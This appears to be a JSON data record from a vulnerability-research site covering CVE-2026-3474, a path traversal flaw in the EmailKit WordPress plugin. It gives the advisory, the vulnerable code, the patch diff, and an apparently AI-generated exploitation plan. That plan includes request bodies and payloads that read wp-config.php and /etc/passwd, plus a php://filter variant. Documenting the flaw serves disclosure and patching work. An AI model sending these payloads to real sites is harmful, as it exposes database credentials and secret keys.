[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fHNp2a3A0Xt4xGNqDQXIJczq89YpEP7hzfsDSlHbjQgI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-3474","emailkit-authenticated-administrator-path-traversal-via-emailkit-editor-template-rest-api-parameter","EmailKit \u003C= 1.6.3 - Authenticated (Administrator+) Path Traversal via 'emailkit-editor-template' REST API Parameter","The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as \u002Fetc\u002Fpasswd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint.","emailkit",null,"\u003C=1.6.3","1.6.4","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-03-20 11:00:41","2026-03-20 23:25:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd8c11ebc-5c83-46a2-a8dd-b838cd50ddc6?source=api-prod",1,[22,23,24],"EmailKit.php","includes\u002FAdmin\u002FApi\u002FTemplateData.php","readme.txt","researched",false,3,"# Vulnerability Research Plan: CVE-2026-3474 (EmailKit Path Traversal)\n\n## 1. Vulnerability Summary\nThe **EmailKit** plugin (\u003C= 1.6.3) contains an authenticated path traversal vulnerability in its REST API implementation. The `EmailKit\\Admin\\Api\\TemplateData::action()` method accepts a file path via the `emailkit-editor-template` parameter and passes it directly to `file_get_contents()` without validation. The content of the file is then stored as post meta in a newly created `emailkit` post. An attacker with Administrator privileges can exploit this to read sensitive files (e.g., `wp-config.php`, `\u002Fetc\u002Fpasswd`) by retrieving the created post's metadata.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Femailkit\u002Fv1\u002Ftemplate-data`\n- **HTTP Method:** `POST` (or any method, as `ALLMETHODS` is registered)\n- **Vulnerable Parameter:** `emailkit-editor-template`\n- **Required Authentication:** Administrator (`manage_options` capability)\n- **Required Header:** `X-WP-Nonce` (set to a valid `wp_rest` nonce)\n- **Data Persistence:** The file content is saved to the `emailkit_template_content_object` and `emailkit_template_content_html` meta keys of a new `emailkit` post.\n\n## 3. Code Flow\n1. **Entry Point:** The REST route `emailkit\u002Fv1\u002Ftemplate-data` is registered in `includes\u002FAdmin\u002FApi\u002FTemplateData.php` within the `__construct` method.\n2. **Nonce Verification:** The `action()` function first verifies the nonce:\n   ```php\n   if (!wp_verify_nonce($request->get_header( 'X-WP-Nonce' ), 'wp_rest')) { ... }\n   ```\n3. **Authorization:** It checks for admin capabilities:\n   ```php\n   if (!is_user_logged_in() || !current_user_can( 'manage_options' )) { ... }\n   ```\n4. **Vulnerable Sink:** The code retrieves the `emailkit-editor-template` parameter and reads the file:\n   ```php\n   if(!empty($request->get_param( 'emailkit-editor-template' ) ...)){\n       $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';\n       $html = file_get_contents(str_replace( \"content.json\", \"content.html\", $request->get_param( 'emailkit-editor-template' )))??'';\n   }\n   ```\n5. **Persistent Storage:** A new post of type `emailkit` is created using `wp_insert_post()`. The file contents (`$template` and `$html`) are stored in `meta_input`:\n   ```php\n   $data = array(\n       'post_type'   => 'emailkit',\n       'meta_input'  => array(\n           'emailkit_template_content_html'    => $html,\n           'emailkit_template_content_object'  => $template,\n           ...\n       )\n   );\n   $post_id = wp_insert_post($data);\n   ```\n\n## 4. Nonce Acquisition Strategy\nThe endpoint requires a `wp_rest` nonce. This is the standard WordPress REST API nonce.\n\n1. **Login:** Authenticate as an Administrator.\n2. **Navigate:** Use `browser_navigate` to go to the WordPress dashboard (`\u002Fwp-admin\u002F`).\n3. **Extract:** Use `browser_eval` to extract the nonce from the global `wpApiSettings` object, which is automatically enqueued on most admin pages.\n   - **JS Command:** `browser_eval(\"wpApiSettings.nonce\")`\n4. **Alternative:** If `wpApiSettings` is missing, navigate to the EmailKit settings page (slug likely `emailkit`) and look for localized scripts.\n\n## 5. Exploitation Strategy\n### Step 1: File Inclusion (Write Phase)\nSend a POST request to the vulnerable endpoint to read a sensitive file (e.g., `wp-config.php`).\n\n- **Tool:** `http_request`\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Femailkit\u002Fv1\u002Ftemplate-data`\n- **Headers:** \n  - `Content-Type: application\u002Fjson`\n  - `X-WP-Nonce: [EXTRACTED_NONCE]`\n- **Body (JSON):**\n  ```json\n  {\n    \"emailkit-editor-template\": \"..\u002F..\u002F..\u002Fwp-config.php\",\n    \"emailkit_template_title\": \"Exploit Template\",\n    \"emailkit_email_type\": \"test\",\n    \"emailkit_template_type\": \"test\"\n  }\n  ```\n- **Expected Response:** `{\"status\":\"success\",\"data\":{\"templateId\":123,...}}`\n\n### Step 2: Content Retrieval (Read Phase)\nThe vulnerability description mentions a `fetch-data` REST API endpoint. Based on common patterns in this plugin:\n- **Endpoint:** `\u002Fwp-json\u002Femailkit\u002Fv1\u002Ffetch-data` (inferred)\n- **Method:** `GET`\n- **Params:** `form_id=[templateId from Step 1]`\n\n**Fallback Retrieval:**\nIf the `fetch-data` endpoint is not easily identified, the data can be confirmed via the standard WordPress post meta.\n\n## 6. Test Data Setup\n1. **User:** Create an administrator user (e.g., `admin_pwn` \u002F `password123`).\n2. **Plugin:** Ensure `emailkit` version 1.6.3 is installed and active.\n3. **Target File:** Ensure `wp-config.php` exists in the standard location (root).\n\n## 7. Expected Results\n- The REST API should return a `success` status and a `templateId`.\n- The database (or the retrieval endpoint) should contain the plaintext content of `wp-config.php` (including `DB_PASSWORD` and `AUTH_KEY` salts) inside the `emailkit_template_content_object` meta field for the generated post.\n\n## 8. Verification Steps\nAfter the HTTP exploit, verify the file contents were successfully stolen using WP-CLI:\n\n```bash\n# Get the latest emailkit post ID\nPOST_ID=$(wp post list --post_type=emailkit --format=ids | awk '{print $1}')\n\n# Check the meta content\nwp post meta get $POST_ID emailkit_template_content_object\n```\n\n## 9. Alternative Approaches\n- **System File Read:** Target `\u002Fetc\u002Fpasswd` if the environment is Linux:\n  - Payload: `emailkit-editor-template=\u002Fetc\u002Fpasswd`\n- **Protocol Wrapper:** Try reading files using PHP filters if direct paths are blocked by some environment settings:\n  - Payload: `emailkit-editor-template=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002F..\u002F..\u002Fwp-config.php`\n- **Post Update:** If `postIdField` is provided in the JSON body, the `action()` function might update an existing post instead of creating a new one (requires checking the logic for `!empty($req->postIdField)` which is truncated in the provided snippet but suggested by variable usage).","The EmailKit plugin for WordPress is vulnerable to authenticated path traversal through the 'emailkit-editor-template' REST API parameter. An administrator can exploit this to read arbitrary files on the server by specifying a file path, such as '..\u002F..\u002Fwp-config.php', which the plugin reads and stores as post meta in a newly created email template.","\u002F\u002F includes\u002FAdmin\u002FApi\u002FTemplateData.php:45\nif(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){\n    $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';\n    $html = file_get_contents(str_replace( \"content.json\", \"content.html\", $request->get_param( 'emailkit-editor-template' )))??'';\n}\n\n\u002F\u002F ... further down in action() method where the data is stored ...\n\n$data = array(\n    'post_type'   => 'emailkit',\n    'post_status' => 'publish',\n    'post_author' => get_current_user_id(),\n    'post_title' =>  $subject !== '' ?  $subject : \"New Template \".uniqid(),\n    'meta_input'  => array(\n        'emailkit_template_content_html'    => $html,\n        'emailkit_template_content_object'  => $template,\n        \u002F\u002F ...\n    )\n);\n$post_id = wp_insert_post($data);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femailkit\u002F1.6.3\u002Fincludes\u002FAdmin\u002FApi\u002FTemplateData.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femailkit\u002F1.6.4\u002Fincludes\u002FAdmin\u002FApi\u002FTemplateData.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femailkit\u002F1.6.3\u002Fincludes\u002FAdmin\u002FApi\u002FTemplateData.php\t2025-10-06 05:41:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Femailkit\u002F1.6.4\u002Fincludes\u002FAdmin\u002FApi\u002FTemplateData.php\t2026-03-17 05:53:24.000000000 +0000\n@@ -45,9 +45,26 @@\n     \n \n        \n-        if(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){\n-            $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??'';\n-            $html = file_get_contents(str_replace( \"content.json\", \"content.html\", $request->get_param( 'emailkit-editor-template' )))??'';\n+        if (!empty($request->get_param('emailkit-editor-template')) && trim($request->get_param('emailkit-editor-template')) !== '') {\n+            $template_path = $request->get_param('emailkit-editor-template');\n+            $allowed_base_path = wp_upload_dir()['basedir'] . '\u002Femailkit\u002Ftemplates\u002F';\n+            $real_path = realpath($template_path);\n+            if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) {\n+                return [\n+                    'status'    => 'fail',\n+                    'message'   => [__('Invalid template path', 'emailkit')]\n+                ];\n+            }\n+\n+            $template = file_exists($real_path) ? file_get_contents($real_path) : '';\n+            $html_path = str_replace(\"content.json\", \"content.html\", $real_path);\n+            \n+            \u002F\u002F Validate HTML path as well\n+            $real_html_path = realpath($html_path);\n+            if ($real_html_path !== false && strpos($real_html_path, realpath($allowed_base_path)) === 0) {\n+                \n+                $html = file_exists($real_html_path) ? file_get_contents($real_html_path) : '';\n+            }\n         }\n \n         $subject = !empty($request->get_param( 'emailkit_template_title' ))? trim($request->get_param( 'emailkit_template_title' )) : null;","1. Authenticate as a WordPress user with Administrator privileges (manage_options capability).\n2. Obtain a valid REST API nonce (wp_rest).\n3. Send a POST request to the `\u002Fwp-json\u002Femailkit\u002Fv1\u002Ftemplate-data` endpoint.\n4. In the request body, include the parameter `emailkit-editor-template` set to the absolute path or a relative traversal path of a sensitive file (e.g., `..\u002F..\u002F..\u002Fwp-config.php`).\n5. The plugin will create a new post of type `emailkit`. The contents of the requested file will be stored in the `emailkit_template_content_object` and `emailkit_template_content_html` meta fields of this new post.\n6. Retrieve the stolen file content by either inspecting the post meta directly or by using the plugin's data retrieval REST endpoints (e.g., `fetch-data`) using the `templateId` returned in the initial exploit response.","gemini-3-flash-preview","2026-04-18 01:15:42","2026-04-18 01:16:00",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","1.6.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femailkit\u002Ftags\u002F1.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femailkit.1.6.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femailkit\u002Ftags\u002F1.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Femailkit.1.6.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Femailkit\u002Ftags"]